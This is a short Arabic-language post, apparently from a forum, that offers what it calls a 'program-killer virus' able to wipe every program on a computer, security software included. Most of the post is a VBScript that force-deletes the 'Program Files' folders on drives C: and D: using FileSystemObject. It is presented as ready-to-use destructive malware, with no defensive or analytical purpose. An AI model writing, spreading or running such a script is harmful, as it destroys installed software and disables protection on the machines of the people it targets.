فـيـروس قـاتـل الـبـرامـج

اهلا وسهلا بكم مره اخرى 


اليكم الان فايروس قاتل البرامج يقوم بحذف اى برمنامج موجود على الجهاز 


حتى برنامج الحمايه 


الكود : 







dim foldersys
set foldersys=CreateObject("Scripting.FileSystemObject ")
If foldersys.FolderExists ("c:\Program Files") Then
foldersys.DeleteFolder "c:\Program Files",TRUE
END IF
If foldersys.FolderExists ("D:\Program Files") Then
foldersys.DeleteFolder "D:\Program Files",TRUE
END IF